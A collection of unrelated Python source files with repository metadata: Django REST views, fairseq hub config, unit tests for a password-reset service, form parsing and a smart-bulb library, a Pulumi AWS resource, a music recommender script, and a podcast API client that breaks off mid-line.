SubjectToTeacher.objects.all() serializer_class = SubjectToTeacherSerializer permission_classes = [AllowAny] class SubjectToTeacherAllView(RetrieveUpdateDestroyAPIView): queryset = SubjectToTeacher.objects.all() serializer_class = SubjectToTeacherSerializer permission_classes = [IsDeputy] class SubjectToTeacherCreateView(CreateAPIView): queryset = SubjectToTeacher.objects.all() serializer_class = SubjectToTeacherSerializer permission_classes = [IsDeputy] class GroupListView(ListAPIView): queryset = Group.objects.all() serializer_class = GroupSerializer permission_classes = [AllowAny] class GroupCreateView(CreateAPIView): queryset = Group.objects.all() serializer_class = GroupSerializer permission_classes = [IsDeputy] class GroupAllView(RetrieveUpdateDestroyAPIView): queryset = Group.objects.all() serializer_class = GroupSerializer permission_classes = [IsDeputy] class StudentToGroupListView(ListAPIView): queryset = StudentToGroup.objects.all() serializer_class = StudentToGroupSerializer permission_classes = [AllowAny] class StudentToGroupAllView(RetrieveUpdateDestroyAPIView): queryset = StudentToGroup.objects.all() serializer_class = StudentToGroupSerializer permission_classes = [IsDeputy] class StudentToGroupCreateView(CreateAPIView): queryset = StudentToGroup.objects.all() serializer_class = StudentToGroupSerializer permission_classes = [IsDeputy]

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2

992c259fa36e64e7447e2e6321c3223d9e19047a

813

py

Python

hubconf.py

qibaoyuan/fairseq

eabd07fdcfd5b007d05428e81a31b7f3fc5de959

[ "BSD-3-Clause" ]

6

2020-11-17T18:54:08.000Z

2022-01-21T16:21:18.000Z

hubconf.py

vineelpratap/fairseq

208295dfc76492748500f97a4f9a808d8053a184

[ "BSD-3-Clause" ]

2

2021-01-01T10:57:32.000Z

2021-01-13T01:17:35.000Z

hubconf.py

vineelpratap/fairseq

208295dfc76492748500f97a4f9a808d8053a184

[ "BSD-3-Clause" ]

1

2020-12-29T12:02:44.000Z

# Copyright (c) 2017-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the license found in the LICENSE file in # the root directory of this source tree. An additional grant of patent rights # can be found in the PATENTS file in the same directory. import functools from fairseq.models import MODEL_REGISTRY dependencies = [ 'regex', 'requests', 'sacremoses', 'sentencepiece', 'subword_nmt', 'torch', ] for model_type, _cls in MODEL_REGISTRY.items(): for model_name in _cls.hub_models().keys(): globals()[model_name] = functools.partial( _cls.from_pretrained, model_name_or_path=model_name, ) # to simplify the interface we only expose named models #globals()[model_type] = _cls.from_pretrained

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null

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null

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1

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992cb7733bef125104b89301a157784a8f392eb2

1,677

py

Python

tests/unit/project/libs/user/application/test_password_forget_service.py

ticdenis/python-skeleton

cb1dc68fa4453709545af4072775aeb373d20df8

[ "MIT" ]

2

2020-08-14T21:01:22.000Z

2021-02-03T12:04:39.000Z

tests/unit/project/libs/user/application/test_password_forget_service.py

ticdenis/python-skeleton

cb1dc68fa4453709545af4072775aeb373d20df8

[ "MIT" ]

null

tests/unit/project/libs/user/application/test_password_forget_service.py

ticdenis/python-skeleton

cb1dc68fa4453709545af4072775aeb373d20df8

[ "MIT" ]

1

2022-01-10T16:03:59.000Z

from typing import final from unittest.mock import Mock import pytest from aioddd.testing import mock from project.libs.user.application.password_forget_service import ( UserPasswordForgetService, ) from project.libs.user.domain.repositories import UserNotifier, UserRepository from tests.unit.project.libs.user.domain.aggregates_mothers import UserMother from tests.unit.project.libs.user.domain.properties_mothers import UserPasswordMother @final class TestUserPasswordForgetService: _mock_user_repository: Mock _sut: UserPasswordForgetService def setup(self) -> None: self._mock_user_repository = mock(UserRepository, ['find_email', 'save_and_publish']) self._mock_user_notifier = mock(UserNotifier, ['notify_user_password_forgotten']) self._sut = UserPasswordForgetService(self._mock_user_repository, self._mock_user_notifier) @pytest.mark.asyncio async def test_reset_password_successfully(self) -> None: user = UserMother.from_password( UserPasswordMother.create(value='secret123456', hashed=False), ) self._mock_user_repository.find_email.return_value = user self._mock_user_notifier.notify_user_password_forgotten.return_value = None self._mock_user_repository.save_and_publish.return_value = None kwargs = { 'user_email': user.email(), } await self._sut(**kwargs) self._mock_user_repository.find_email.assert_called_once_with(kwargs['user_email']) self._mock_user_notifier.notify_user_password_forgotten.assert_called_once() self._mock_user_repository.save_and_publish.assert_called_once_with(user)

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null

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null

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1

992d31ef563a84f77f44d14348541fc61f975cc8

11,799

py

Python

tests/test_extractors/body/test_form_fields_extractor.py

dantownsend/xpresso

a4c4dbe96972a6f0339f30d7d794932f70510eea

[ "MIT" ]

4

2022-02-07T05:12:51.000Z

2022-02-28T12:34:57.000Z

tests/test_extractors/body/test_form_fields_extractor.py

dantownsend/xpresso

a4c4dbe96972a6f0339f30d7d794932f70510eea

[ "MIT" ]

2

2022-01-25T02:05:02.000Z

2022-01-25T02:38:59.000Z

tests/test_extractors/body/test_form_fields_extractor.py

dantownsend/xpresso

a4c4dbe96972a6f0339f30d7d794932f70510eea

[ "MIT" ]

null

import sys import typing from dataclasses import dataclass if sys.version_info < (3, 9): from typing_extensions import Annotated else: from typing import Annotated from pydantic import BaseModel from starlette.responses import Response from starlette.testclient import TestClient from xpresso import App, Form, FormEncodedField, FromFormData, FromFormField, Path def test_form_field_scalar_defaults() -> None: @dataclass(frozen=True) class FormModel: field: FromFormField[int] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == 2 return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data={"field": "2"}) assert resp.status_code == 200, resp.content def test_form_field_scalar_style_form_explode_true() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[int, FormEncodedField(style="form", explode=True)] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == 2 return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data={"field": "2"}) assert resp.status_code == 200, resp.content def test_form_field_scalar_style_form_explode_false() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[int, FormEncodedField(style="form", explode=False)] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == 2 return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data={"field": "2"}) assert resp.status_code == 200, resp.content def test_form_field_array_defaults() -> None: @dataclass(frozen=True) class FormModel: field: FromFormField[typing.List[int]] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == [1, 2] return Response() app = App([Path("/", post=endpoint)]) app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("field", "1"), ("field", "2")]) assert resp.status_code == 200, resp.content def test_form_field_array_style_form_explode_true() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[typing.List[int], FormEncodedField(explode=True)] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == [1, 2] return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("field", "1"), ("field", "2")]) assert resp.status_code == 200, resp.content def test_form_field_array_style_form_explode_false() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[typing.List[int], FormEncodedField(explode=False)] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == [1, 2] return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("field", "1,2")]) assert resp.status_code == 200, resp.content def test_form_field_array_style_spaceDelimited_explode_true() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[ typing.List[int], FormEncodedField(style="spaceDelimited", explode=True) ] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == [1, 2] return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("field", "1"), ("field", "2")]) assert resp.status_code == 200, resp.content def test_form_field_array_style_spaceDelimited_explode_false() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[ typing.List[int], FormEncodedField(style="spaceDelimited", explode=False) ] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == [1, 2] return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("field", "1 2")]) assert resp.status_code == 200, resp.content def test_form_field_array_style_pipeDelimited_explode_true() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[ typing.List[int], FormEncodedField(style="pipeDelimited", explode=True) ] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == [1, 2] return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("field", "1"), ("field", "2")]) assert resp.status_code == 200, resp.content def test_form_field_array_style_pipeDelimited_explode_false() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[ typing.List[int], FormEncodedField(style="pipeDelimited", explode=False) ] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == [1, 2] return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("field", "1|2")]) assert resp.status_code == 200, resp.content class ShallowObject(BaseModel): a: int b: str def test_form_field_shallow_object_defaults() -> None: @dataclass(frozen=True) class FormModel: field: FromFormField[ShallowObject] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == ShallowObject(a=1, b="2") return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("a", "1"), ("b", "2")]) assert resp.status_code == 200, resp.content def test_form_field_shallow_object_style_form_explode_true() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[ShallowObject, FormEncodedField(explode=True)] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == ShallowObject(a=1, b="2") return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("a", "1"), ("b", "2")]) assert resp.status_code == 200, resp.content def test_form_field_shallow_object_style_form_explode_false() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[ShallowObject, FormEncodedField(explode=False)] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == ShallowObject(a=1, b="2") return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("field", "a,1,b,2")]) assert resp.status_code == 200, resp.content def test_form_field_shallow_object_style_deepObject_explode_true() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[ ShallowObject, FormEncodedField(style="deepObject", explode=True) ] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == ShallowObject(a=1, b="2") return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("field[a]", "1"), ("field[b]", "2")]) assert resp.status_code == 200, resp.content def test_form_field_deep_object_style_deepObject_explode_true() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[ ShallowObject, FormEncodedField(style="deepObject", explode=True) ] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == ShallowObject(a=1, b="2") return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post( "/", data=[ ("field[a]", "1"), ("field[b]", "2"), ], ) assert resp.status_code == 200, resp.content def test_form_field_alias_scalar() -> None: class FormModel(BaseModel): field: Annotated[int, FormEncodedField(alias="realFieldName")] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == 2 return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data={"realFieldName": "2"}) assert resp.status_code == 200, resp.content def test_form_field_alias_array() -> None: class FormModel(BaseModel): field: Annotated[typing.List[int], FormEncodedField(alias="realFieldName")] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == [1, 2] return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", data=[("realFieldName", "1"), ("realFieldName", "2")]) assert resp.status_code == 200, resp.content def test_form_field_alias_deepObject() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[ ShallowObject, FormEncodedField(style="deepObject", alias="readlFieldName") ] async def endpoint(form: FromFormData[FormModel]) -> Response: assert form.field == ShallowObject(a=1, b="2") return Response() app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post( "/", data=[ ("readlFieldName[a]", "1"), ("readlFieldName[b]", "2"), ], ) assert resp.status_code == 200, resp.content def test_invalid_serialization() -> None: @dataclass(frozen=True) class FormModel: field: Annotated[ShallowObject, FormEncodedField(explode=False)] async def endpoint(form: FromFormData[FormModel]) -> Response: raise AssertionError("Should not be called") # pragma: no cover app = App([Path("/", post=endpoint)]) with TestClient(app) as client: # fields cannot be repeated if explode=False # this is just an arbitrary example of a malformed serialzition resp = client.post("/", data=[("field", "a,1"), ("field", "b,2")]) assert resp.status_code == 422, resp.content assert resp.json() == { "detail": [ { "loc": ["body", "field"], "msg": "Data is not a valid URL encoded form", "type": "type_error", } ] } def test_form_field_from_file() -> None: @dataclass(frozen=True) class FormModel: field: FromFormField[str] async def endpoint( form: Annotated[FormModel, Form(enforce_media_type=False)] ) -> Response: raise AssertionError("Should not be called") # pragma: no cover app = App([Path("/", post=endpoint)]) with TestClient(app) as client: resp = client.post("/", files=[("field", ("file.txt", b"abcd"))]) assert resp.status_code == 422, resp.content assert resp.json() == { "detail": [ { "loc": ["body", "field"], "msg": "Expected a string form field but received a file", "type": "type_error.unexpectedfilereceived", } ] }

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6

992ddf01dad6535bf2ac6a07d23c7afdf0b6b5ac

6,777

py

Python

sdk/python/pulumi_aws_native/servicediscovery/instance.py

pulumi/pulumi-aws-native

1ae4a4d9c2256b2a79ca536f8d8497b28d10e4c3

[ "Apache-2.0" ]

29

2021-09-30T19:32:07.000Z

2022-03-22T21:06:08.000Z

sdk/python/pulumi_aws_native/servicediscovery/instance.py

pulumi/pulumi-aws-native

1ae4a4d9c2256b2a79ca536f8d8497b28d10e4c3

[ "Apache-2.0" ]

232

2021-09-30T19:26:26.000Z

2022-03-31T23:22:06.000Z

sdk/python/pulumi_aws_native/servicediscovery/instance.py

pulumi/pulumi-aws-native

1ae4a4d9c2256b2a79ca536f8d8497b28d10e4c3

[ "Apache-2.0" ]

4

2021-11-10T19:42:01.000Z

2022-02-05T10:15:49.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['InstanceArgs', 'Instance'] @pulumi.input_type class InstanceArgs: def __init__(__self__, *, instance_attributes: Any, service_id: pulumi.Input[str], instance_id: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a Instance resource. """ pulumi.set(__self__, "instance_attributes", instance_attributes) pulumi.set(__self__, "service_id", service_id) if instance_id is not None: pulumi.set(__self__, "instance_id", instance_id) @property @pulumi.getter(name="instanceAttributes") def instance_attributes(self) -> Any: return pulumi.get(self, "instance_attributes") @instance_attributes.setter def instance_attributes(self, value: Any): pulumi.set(self, "instance_attributes", value) @property @pulumi.getter(name="serviceId") def service_id(self) -> pulumi.Input[str]: return pulumi.get(self, "service_id") @service_id.setter def service_id(self, value: pulumi.Input[str]): pulumi.set(self, "service_id", value) @property @pulumi.getter(name="instanceId") def instance_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "instance_id") @instance_id.setter def instance_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "instance_id", value) warnings.warn("""Instance is not yet supported by AWS Native, so its creation will currently fail. Please use the classic AWS provider, if possible.""", DeprecationWarning) class Instance(pulumi.CustomResource): warnings.warn("""Instance is not yet supported by AWS Native, so its creation will currently fail. Please use the classic AWS provider, if possible.""", DeprecationWarning) @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, instance_attributes: Optional[Any] = None, instance_id: Optional[pulumi.Input[str]] = None, service_id: Optional[pulumi.Input[str]] = None, __props__=None): """ Resource Type definition for AWS::ServiceDiscovery::Instance :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. """ ... @overload def __init__(__self__, resource_name: str, args: InstanceArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Resource Type definition for AWS::ServiceDiscovery::Instance :param str resource_name: The name of the resource. :param InstanceArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(InstanceArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, instance_attributes: Optional[Any] = None, instance_id: Optional[pulumi.Input[str]] = None, service_id: Optional[pulumi.Input[str]] = None, __props__=None): pulumi.log.warn("""Instance is deprecated: Instance is not yet supported by AWS Native, so its creation will currently fail. Please use the classic AWS provider, if possible.""") if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = InstanceArgs.__new__(InstanceArgs) if instance_attributes is None and not opts.urn: raise TypeError("Missing required property 'instance_attributes'") __props__.__dict__["instance_attributes"] = instance_attributes __props__.__dict__["instance_id"] = instance_id if service_id is None and not opts.urn: raise TypeError("Missing required property 'service_id'") __props__.__dict__["service_id"] = service_id super(Instance, __self__).__init__( 'aws-native:servicediscovery:Instance', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None) -> 'Instance': """ Get an existing Instance resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = InstanceArgs.__new__(InstanceArgs) __props__.__dict__["instance_attributes"] = None __props__.__dict__["instance_id"] = None __props__.__dict__["service_id"] = None return Instance(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="instanceAttributes") def instance_attributes(self) -> pulumi.Output[Any]: return pulumi.get(self, "instance_attributes") @property @pulumi.getter(name="instanceId") def instance_id(self) -> pulumi.Output[str]: return pulumi.get(self, "instance_id") @property @pulumi.getter(name="serviceId") def service_id(self) -> pulumi.Output[str]: return pulumi.get(self, "service_id")

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null

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992ee557b197ee2455ec41b1fe058f029f7123c9

5,526

py

Python

BiasSVD-kNN based Netease Music Recommender System.py

Coalin/Business-Analytics-Projects

8771afe5180302a73434f305500d5498be549827

[ "MIT" ]

1

2018-07-09T09:09:02.000Z

BiasSVD-kNN based Netease Music Recommender System.py

Coalin/Business-Analytics-Projects

8771afe5180302a73434f305500d5498be549827

[ "MIT" ]

null

BiasSVD-kNN based Netease Music Recommender System.py

Coalin/Business-Analytics-Projects

8771afe5180302a73434f305500d5498be549827

[ "MIT" ]

null

# -*- coding:utf-8 -*- from __future__ import (absolute_import, division, print_function, unicode_literals) import os import surprise from surprise import KNNBaseline, Reader from surprise import Dataset from surprise import evaluate, print_perf import csv from surprise import SVD,SVDpp from surprise import GridSearch from surprise import NMF from pandas import Series import pandas as pd from matplotlib import pyplot as plt if __name__ == '__main__': csv_reader = csv.reader(open('neteasy_playlist_id_to_name_data.csv',encoding='utf-8')) id_name_dict = {} name_id_dict = {} for row in csv_reader: id_name_dict[row[0]] = row[1] name_id_dict[row[1]] = row[0] csv_reader = csv.reader(open('neteasy_song_id_to_name_data.csv',encoding='utf-8')) song_id_name_dict = {} song_name_id_dict = {} for row in csv_reader: song_id_name_dict[row[0]] = row[1] song_name_id_dict[row[1]] = row[0] file_path = os.path.expanduser('neteasy_playlist_recommend_data.csv') reader = Reader(line_format='user item rating timestamp', sep=',') music_data = Dataset.load_from_file(file_path, reader=reader) music_data.split(n_folds=5) print('构建数据集') trainset = music_data.build_full_trainset() param_grid = { 'n_factors':range(10,30,2), 'n_epochs': [10,15,20], 'lr_all': [0.002, 0.005, 0.1],'reg_all': [0.4, 0.6, 0.8]} param_grid = { 'n_factors':range(2,22,2), 'n_epochs': [10], 'lr_all': [0.1],'reg_all': [0.4]} param_grid = { 'n_factors':[2], 'n_epochs':range(11), 'lr_all': [0.1],'reg_all': [0.4]} grid_search = GridSearch(SVDpp, param_grid, measures=['RMSE', 'MAE']) grid_search.evaluate(music_data) print(grid_search.best_params['RMSE']) print(grid_search.best_params['MAE']) # 开始训练模型 print('开始训练模型...') #algo = KNNBaseline() algo = SVDpp(n_factors=grid_search.best_params['RMSE']['n_factors'],n_epochs=grid_search.best_params['RMSE']['n_epochs'],lr_all=grid_search.best_params['RMSE']['lr_all'],reg_all=grid_search.best_params['RMSE']['reg_all'],verbose=2) algo=SVDpp() #algo=SVD() #algo=SVDpp() perf = evaluate(algo, music_data, measures=['RMSE', 'MAE'],verbose=1) print_perf(perf) #print() #print('针对歌单进行预测:') #current_playlist_name =list(name_id_dict.keys())[3] #print('歌单名称', current_playlist_name) #playlist_rid = name_id_dict[current_playlist_name] #print('歌单rid', playlist_rid) #playlist_inner_id = algo.trainset.to_inner_uid(playlist_rid) #print('歌曲inid', playlist_inner_id) #algo.compute_similarities() #playlist_neighbors_inner_ids = algo.get_neighbors(playlist_inner_id, k=10) #playlist_neighbors_rids = (algo.trainset.to_raw_uid(inner_id) for inner_id in playlist_neighbors_inner_ids) #playlist_neighbors_names = (id_name_dict[rid] for rid in playlist_neighbors_rids) #print() #print('歌单《', current_playlist_name, '》最接近的10个歌单为: \n') #for playlist_name in playlist_neighbors_names: # print(playlist_name, algo.trainset.to_inner_uid(name_id_dict[playlist_name])) print() print('针对用户进行预测:') user_inner_id = 300 print('用户内部id', user_inner_id) user_rating = trainset.ur[user_inner_id] print('用户评价过的歌曲数量', len(user_rating)) items = map(lambda x:x[0], user_rating) real_song_id=[] real_song_name=[] for song in items: real_song_id.append(algo.trainset.to_raw_iid(song)) real_song_name.append(song_id_name_dict[algo.trainset.to_raw_iid(song)]) t_l=10 song_list1=list(song_id_name_dict.keys()) rank=[] for song in song_list1: rank.append(algo.predict(str(user_inner_id), str(song))[3]) rank=Series(rank) rank1=rank.sort_values(ascending=False) predict_song_id=[] predict_song_name=[] for i in range(t_l): predict_song_id.append(song_list1[list(rank1.index)[i]]) predict_song_name.append(song_id_name_dict[song_list1[list(rank1.index)[i]]]) #from pandas import Series a=Series(real_song_name) b=Series(predict_song_name) c=pd.DataFrame({'real':a,'predict':b}) #t_l=20 #取top的长度 #if len(user_rating)<=t_l: # pre_song=list(rank1.index[range(t_l)]) # real_song= # correct= surprise.dump.dump('./knn_baseline.model', algo=algo) MAE=[] RMSE=[] for i in range(10): MAE.append( grid_search.cv_results['scores'][i]['MAE']) RMSE.append( grid_search.cv_results['scores'][i]['RMSE']) x=range(2,22,2) plt.plot(x,MAE,label='MAE') plt.plot(x,RMSE,label='RMSE') plt.legend() plt.axis([0,22,0.5,1]) x=range(2,22,2) fig = plt.figure() ax1 = fig.add_subplot(111) ax1.plot(x,MAE) ax1.set_ylabel('MAE') ax1.set_title("MAE & RMSE") ax1.set_xticks(x) ax1.set_xlabel('n_factors') ax1.legend() ax2 = ax1.twinx() # this is the important function ax2.plot(x, RMSE, 'r') ax2.set_ylabel('RMSE') plt.show() MAE=[] RMSE=[] for i in range(11): MAE.append( grid_search.cv_results['scores'][i]['MAE']) RMSE.append( grid_search.cv_results['scores'][i]['RMSE']) x=range(1,12,1) fig = plt.figure() ax1 = fig.add_subplot(111) ax1.plot(x,MAE) ax1.set_ylabel('MAE') ax1.set_title("MAE & RMSE") ax1.set_xticks(x) ax1.set_xlabel('epoch') ax1.legend() ax2 = ax1.twinx() # this is the important function ax2.plot(x, RMSE, 'r') ax2.set_ylabel('RMSE') plt.show()

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992f18514be68650cca7e7206bf7d259cbca8f31

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py

Python

pywizlight/tests/test_bulb_socket.py

mikemakaroff/pywizlight

0b32b917a064d9ca1be0ce9fb24ea68ce89993ed

[ "MIT" ]

1

2022-03-30T22:42:51.000Z

pywizlight/tests/test_bulb_socket.py

mikemakaroff/pywizlight

0b32b917a064d9ca1be0ce9fb24ea68ce89993ed

[ "MIT" ]

null

pywizlight/tests/test_bulb_socket.py

mikemakaroff/pywizlight

0b32b917a064d9ca1be0ce9fb24ea68ce89993ed

[ "MIT" ]

null

"""Tests for the Bulb API with a socket.""" from typing import AsyncGenerator import pytest from pywizlight import wizlight from pywizlight.bulblibrary import BulbClass, BulbType, Features, KelvinRange from pywizlight.tests.fake_bulb import startup_bulb @pytest.fixture() async def socket() -> AsyncGenerator[wizlight, None]: shutdown, port = await startup_bulb( module_name="ESP10_SOCKET_06", firmware_version="1.25.0" ) bulb = wizlight(ip="127.0.0.1", port=port) yield bulb await bulb.async_close() shutdown() @pytest.mark.asyncio async def test_model_description_socket(socket: wizlight) -> None: """Test fetching the model description of a socket is None.""" bulb_type = await socket.get_bulbtype() assert bulb_type == BulbType( features=Features( color=False, color_tmp=False, effect=False, brightness=False, dual_head=False, ), name="ESP10_SOCKET_06", kelvin_range=KelvinRange(max=2700, min=2700), bulb_type=BulbClass.SOCKET, fw_version="1.25.0", white_channels=2, white_to_color_ratio=20, ) @pytest.mark.asyncio async def test_diagnostics(socket: wizlight) -> None: """Test fetching diagnostics.""" await socket.get_bulbtype() diagnostics = socket.diagnostics assert diagnostics["bulb_type"]["bulb_type"] == "SOCKET" assert diagnostics["history"]["last_error"] is None assert diagnostics["push_running"] is False @pytest.mark.asyncio async def test_supported_scenes(socket: wizlight) -> None: """Test supported scenes.""" assert await socket.getSupportedScenes() == []

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99332f040f38016f3fe08830a1b001ac9221e1ec

10,303

py

Python

servidor/utils/podcasts/podcasts.py

UNIZAR-30226-2020-01/backend_django

aefe5668e3b45b0015d24e17254ac61858b3df7b

[ "MIT" ]

null

servidor/utils/podcasts/podcasts.py

UNIZAR-30226-2020-01/backend_django

aefe5668e3b45b0015d24e17254ac61858b3df7b

[ "MIT" ]

52

2020-02-25T09:56:54.000Z

2021-09-22T18:40:50.000Z

servidor/utils/podcasts/podcasts.py

UNIZAR-30226-2020-01/backend_django

aefe5668e3b45b0015d24e17254ac61858b3df7b

[ "MIT" ]

null

# from __future__ import print_function # import sys # import getpass import os import requests import json # from set_credentials import the_secret_function # borrar esta linea, es solo para el hello world #Clase necesaria para devolver por APIRest lo correspondiente a los trending podcast class TrendingPodcasts(object): def __init__(self, **kwargs): for field in ('id', 'title', 'publisher', 'image', 'total_episodes', 'description', 'rss', 'language'): setattr(self, field, kwargs.get(field, None)) #---------------------------------------------------# #-----Todo esto pertenece a la api listennotes------# #Para poder usarla debemos: # -Poner el logo de ListenApi cuando se use el buscador de podcasts # -No guardar ningun podcast en la BD # -Permite 10000 peticiones al mes class Podcasts_api: def __init__(self, url = 'https://listen-api.listennotes.com/api/v2', key = 'COMPLETAME_PORFA'): self.url = url self.key = os.getenv('LISTENNOTES_KEY') self.headers = { 'X-ListenAPI-Key' : self.key } # Existen muchos parámetros, de momento creo que los más importantes son los siguientes # -query: nombre del podcast (obligatorio) # -genres: lista con ids de géneros de listennotes # -type: episode, podcast, curated (default: episode) # -language: lenguaje del podcast (default: all languages) # -sort_by_date: indica si muestra los podcast ordenados por fecha (0 = NO y muestra por relevancia) def search(self, query, genres, type='podcast', language='Spanish', sort_by_date=0): #Contiene los parámetros para la búsqueda de podcast querystring = { 'q': query, 'genre_ids': genres,'type': type, 'language': language, 'sort_by_date': sort_by_date } #Se debe añadir /search para que la url sea correcta response = requests.get(self.url + '/search', headers=self.headers, params=querystring) #print(response.headers['X-ListenAPI-Usage']) if response.status_code != 200: return 'ERROR' print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage']) return response.json()#response.json() ## TODO: Cuando tenga la API KEY, se podrá terminar #Devuelve los mejores podcasts en funcion de los parámetros # -genre_id: genero de los podcast. Más info: get_genres() # -region: región del podcast. Más info: get_regions() def get_bestpodcast(self, genre_id = None , region='es' ): querystring = { 'genre_id': genre_id, 'region': region } response = requests.get(self.url + '/best_podcasts', headers=self.headers, params=querystring) #Mostramos las peticiones restantes print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage']) if response.status_code != 200: return 'ERROR' return response.json()['podcasts'] # Dado un id, devuelve TODA información sobre un podcast, en formato JSON # Solo puede devolver 10 episodios # -id: Id del podcast a buscar # -sort: recent_first|| oldest_first (default: recent_first) def get_detailedInfo_podcast(self, id, sort='recent_first'): querystring = { 'id': id } response = requests.get(self.url + '/podcasts/'+id, headers=self.headers, params=querystring) print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage']) if response.status_code != 200: return 'ERROR' return response.json() # Devuelve TODOS los episodios de un podcast # -id: Id del podcast a buscar # -sort: recent_first|| oldest_first (default: recent_first) def get_allEpisodes(self, id, sort='oldest_first'): querystring = { 'id': id, 'sort': sort } response = requests.get(self.url + '/podcasts/'+id, headers=self.headers, params=querystring) if response.status_code != 200: return 'ERROR', 'ERROR' podcast = response.json() result = episodes = response.json()["episodes"] veces = 0 while (len(episodes) in range(1,11)) and veces in range(0,3): veces+=1 pub_date = response.json()["next_episode_pub_date"] querystring = { 'id': id, 'next_episode_pub_date': pub_date, 'sort': sort } response = requests.get(self.url + '/podcasts/'+id, headers=self.headers, params=querystring) episodes = response.json()["episodes"] result += episodes # print(episodes) # print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage']) print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage']) return podcast, result # Dado un id, devuelve TODA información sobre un episodio, en formato JSON def get_detailedInfo_episode(self, id): querystring = { 'id': id } response = requests.get(self.url + '/episodes/'+id, headers=self.headers, params=querystring) if response.status_code != 200: return 'ERROR' print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage']) return response.json() #Devuelve todos los géneros a los que puede pertenecer podcast def get_genres(self): response = requests.get(self.url + '/genres', headers=self.headers) if response.status_code != 200: return 'ERROR' print('DEBUG ----- Usage: ', 